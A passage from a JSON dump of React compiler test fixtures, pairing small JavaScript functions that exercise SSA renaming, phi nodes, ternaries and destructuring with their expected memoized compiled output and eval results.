    "content": "// Forget should call the original x (x = foo()) to compute result\nfunction Component() {\n  let x = foo();\n  let result = x((x = bar()), 5);\n  return [result, x];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = 0;\n  x = a;\n  x = b;\n  x = c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  let x;\n\n  x = c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.js",
    "content": "function foo(a, b, c) {\n  let x = 0;\n  x = a;\n  x = b;\n  x = c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,\"joe\"]\n[55,\"joe\"]\n[3,\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.cond || $[3] !== props.foo) {\n    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;\n    $[2] = props.cond;\n    $[3] = props.foo;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.js",
    "content": "function useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? ((x = []), x.push(props.foo)) : null;\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,\"joe\"]\n[55,\"joe\"]\n[3,\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.cond || $[3] !== props.foo) {\n    props.cond ? ((x = []), x.push(props.foo)) : null;\n    $[2] = props.cond;\n    $[3] = props.foo;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.js",
    "content": "function useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  arrayPush(x, 4);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));\n    arrayPush(x, 4);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55,4]\n[55,4]\n[3,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.js",
    "content": "import {arrayPush} from 'shared-runtime';\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  arrayPush(x, 4);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(props) {\n  const $ = _c(6);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if ($[2] !== props.bar || $[3] !== props.cond || $[4] !== props.foo) {\n    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));\n    $[2] = props.bar;\n    $[3] = props.cond;\n    $[4] = props.foo;\n    $[5] = x;\n  } else {\n    x = $[5];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: false, foo: 2, bar: 55 }],\n  sequentialRenders: [\n    { cond: false, foo: 2, bar: 55 },\n    { cond: false, foo: 3, bar: 55 },\n    { cond: true, foo: 3, bar: 55 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [55]\n[55]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.js",
    "content": "function useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  props.cond\n    ? ((x = {}), (x = []), x.push(props.foo))\n    : ((x = []), (x = []), x.push(props.bar));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: false, foo: 2, bar: 55}],\n  sequentialRenders: [\n    {cond: false, foo: 2, bar: 55},\n    {cond: false, foo: 3, bar: 55},\n    {cond: true, foo: 3, bar: 55},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  } else {\n    x = [];\n    x = [];\n    x.push(props.bar);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    if (props.cond) {\n      x = [];\n      x.push(props.foo);\n    } else {\n      x = [];\n      x.push(props.bar);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  } else {\n    x = [];\n    x = [];\n    x.push(props.bar);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    ({ x } = { x: [] });\n    x.push(props.bar);\n    if (props.cond) {\n      ({ x } = { x: [] });\n      x.push(props.foo);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar) {\n    ({ x } = { x: [] });\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if (props.cond) {\n    if ($[2] !== props.foo) {\n      ({ x } = { x: [] });\n      x.push(props.foo);\n      $[2] = props.foo;\n      $[3] = x;\n    } else {\n      x = $[3];\n    }\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.js",
    "content": "function foo(props) {\n  let {x} = {x: []};\n  x.push(props.bar);\n  if (props.cond) {\n    ({x} = {x: {}});\n    ({x} = {x: []});\n    x.push(props.foo);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useFoo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {\n    x = [];\n    x.push(props.bar);\n    if (props.cond) {\n      x = [];\n      x.push(props.foo);\n    }\n\n    mutate(x);\n    $[0] = props.bar;\n    $[1] = props.cond;\n    $[2] = props.foo;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ bar: \"bar\", foo: \"foo\", cond: true }],\n  sequentialRenders: [\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: true },\n    { bar: \"bar\", foo: \"foo\", cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",\"joe\"]\n[\"foo\",\"joe\"]\n[\"bar\",\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useFoo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{bar: 'bar', foo: 'foo', cond: true}],\n  sequentialRenders: [\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: true},\n    {bar: 'bar', foo: 'foo', cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.bar) {\n    x = [];\n    x.push(props.bar);\n    $[0] = props.bar;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  if (props.cond) {\n    if ($[2] !== props.foo) {\n      x = [];\n      x.push(props.foo);\n      $[2] = props.foo;\n      $[3] = x;\n    } else {\n      x = $[3];\n    }\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.js",
    "content": "function foo(props) {\n  let x = [];\n  x.push(props.bar);\n  if (props.cond) {\n    x = {};\n    x = [];\n    x.push(props.foo);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-return.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  if (x === 1) {\n    x = 2;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  return 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-return.js",
    "content": "function foo() {\n  let x = 1;\n  if (x === 1) {\n    x = 2;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction log() {}\n\nfunction Foo(cond) {\n  let str = '';\n  if (cond) {\n    let str = 'other test';\n    log(str);\n  } else {\n    str = 'fallthrough test';\n  }\n  log(str);\n}\n\n```\n\n## Code\n\n```javascript\nfunction log() {}\n\nfunction Foo(cond) {\n  let str = \"\";\n  if (cond) {\n    log(\"other test\");\n  } else {\n    str = \"fallthrough test\";\n  }\n\n  log(str);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.js",
    "content": "function log() {}\n\nfunction Foo(cond) {\n  let str = '';\n  if (cond) {\n    let str = 'other test';\n    log(str);\n  } else {\n    str = 'fallthrough test';\n  }\n  log(str);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = 0;\n  if (true) {\n    if (true) {\n      x = a;\n    } else {\n      x = b;\n    }\n    x;\n  } else {\n    if (true) {\n      x = c;\n    } else {\n      x = d;\n    }\n    x;\n  }\n  // note: intentionally no phi here so that there are two distinct phis above\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c, d) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.js",
    "content": "function foo(a, b, c, d) {\n  let x = 0;\n  if (true) {\n    if (true) {\n      x = a;\n    } else {\n      x = b;\n    }\n    x;\n  } else {\n    if (true) {\n      x = c;\n    } else {\n      x = d;\n    }\n    x;\n  }\n  // note: intentionally no phi here so that there are two distinct phis above\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-simple-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let y = 2;\n\n  if (y > 1) {\n    y = 1;\n  } else {\n    y = 2;\n  }\n\n  let x = y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-simple-phi.js",
    "content": "function foo() {\n  let y = 2;\n\n  if (y > 1) {\n    y = 1;\n  } else {\n    y = 2;\n  }\n\n  let x = y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
